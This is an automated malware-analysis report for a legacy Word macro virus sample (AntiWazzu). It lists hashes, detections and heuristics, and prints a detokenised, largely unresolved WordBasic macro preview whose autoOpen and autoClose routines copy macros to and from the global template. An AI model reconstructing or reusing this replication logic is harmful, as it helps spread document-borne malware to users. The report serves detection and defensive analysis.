Win.Trojan.AntiWazzu-1 Office (OLE) malware analysis — malicious · e9931d74c9732226

MALICIOUS

Office (OLE)

7.0 KB First seen: 2012-06-14

MD5: e120511d05d7d976ffb71484f23fabd2 SHA-1: 4a499206e65dcdb1e3ef15aa660e7619f6e144ea SHA-256: e9931d74c9732226c104fb7812af80124e373b4c6765e964df3f632951fcc9d4

102 Risk Score

Malware Insights

Win.Trojan.AntiWazzu-1 · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic

The file exhibits legacy WordBasic macro virus markers and is explicitly detected by ClamAV as Win.Trojan.AntiWazzu-1. The document body contains references to 'RSN MACRO VIRUS Goat file' and includes VBA-like code snippets, indicating a macro-based threat. The presence of 'autoOpen' and 'autoClose' suggests an attempt to execute code upon document opening and potentially self-destruct or perform other actions.

Heuristics 3

ClamAV: Win.Trojan.AntiWazzu-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Win.Trojan.AntiWazzu-1
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE

The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1546 bytes

Filename	Kind	Source	Size
`wordbasic_macros.txt`	wordbasic-macro	analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source)	1546 bytes
SHA-256: `bf96704c6b682fab17cfb23a8fa49db292739f81a3ce302e23e78bce588712de`
Preview script First 1,000 lines of the extracted script + , = 28524 8293 28136 = @cmd0001 = MAIN @cmd00d7 = "autoOpen" , = 0 , MAIN * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * , - * Erreur @cmd0056 res @cmd0056 res * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * borne = @cmd80f0 1999 , 4 , 1 jouractuel = @cmd8101 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * borne jouractuel fichier$ = res = "\" = res @cmd0700 ":autoOpen" fichier1$ = res = "\" = res @cmd0700 ":tempcdg" model$ = "Global:autoOpen" model1$ = "Global:tempcdg" Macro$ = @cmd818e @cmd80b8 0 @cmd80af @cmd8009 Macro$ , 10 = "NORMAL.DOT" @cmd80c2 model$ , fichier$ @cmd80c2 model1$ , fichier1$ @cmd0054 = 1 @cmd80c2 fichier$ , model$ @cmd80c2 fichier1$ , model1$ * 8289 29551 * @cmd00d7 = "autoClose" , = 0 , * * * * * * * * * * * * * * * * * * * * * * * * * * * * * , * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * heure$ = @cmd800d sec$ = @cmd800a heure$ , 4 sec$ = @cmd80ea @cmd8007 @cmd8006 sec$ = 1 heure$ = @cmd8008 heure$ , 3 = sec$ @cmd80b3 heure$ , "tempcdg" , - * 0

SHA-256: bf96704c6b682fab17cfb23a8fa49db292739f81a3ce302e23e78bce588712de

Preview script

First 1,000 lines of the extracted script

+ , =  
28524     8293    
  28136         =
@cmd0001 =
MAIN
@cmd00d7 = "autoOpen" , = 0 ,
MAIN
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    *         *
    *                         *
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
, - * Erreur
@cmd0056
res @cmd0056
res
  * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  *             *
  * * * * * * * * * * * * * * * * * * * * * * * * * * * *
borne = @cmd80f0 1999 , 4 , 1
jouractuel = @cmd8101
  * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  *                 *
  *                 *
  * * * * * * * * * * * * * * * * * * * * * * * * * * * *
borne jouractuel
fichier$ = res = "\" = res @cmd0700 ":autoOpen"
fichier1$ = res = "\" = res @cmd0700 ":tempcdg"
model$ = "Global:autoOpen"
model1$ = "Global:tempcdg"
Macro$ = @cmd818e @cmd80b8 0
@cmd80af @cmd8009 Macro$ , 10 = "NORMAL.DOT"
@cmd80c2 model$ , fichier$
@cmd80c2 model1$ , fichier1$
@cmd0054 = 1
@cmd80c2 fichier$ , model$
@cmd80c2 fichier1$ , model1$
  *    
  8289   29551     *
@cmd00d7 = "autoClose" , = 0 ,
  * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  *           ,     *
  *                   *
  * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  *             *
  * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
heure$ = @cmd800d
sec$ = @cmd800a heure$ , 4
sec$ = @cmd80ea @cmd8007 @cmd8006 sec$ = 1
heure$ = @cmd8008 heure$ , 3 = sec$
@cmd80b3 heure$ , "tempcdg"
, - * 0

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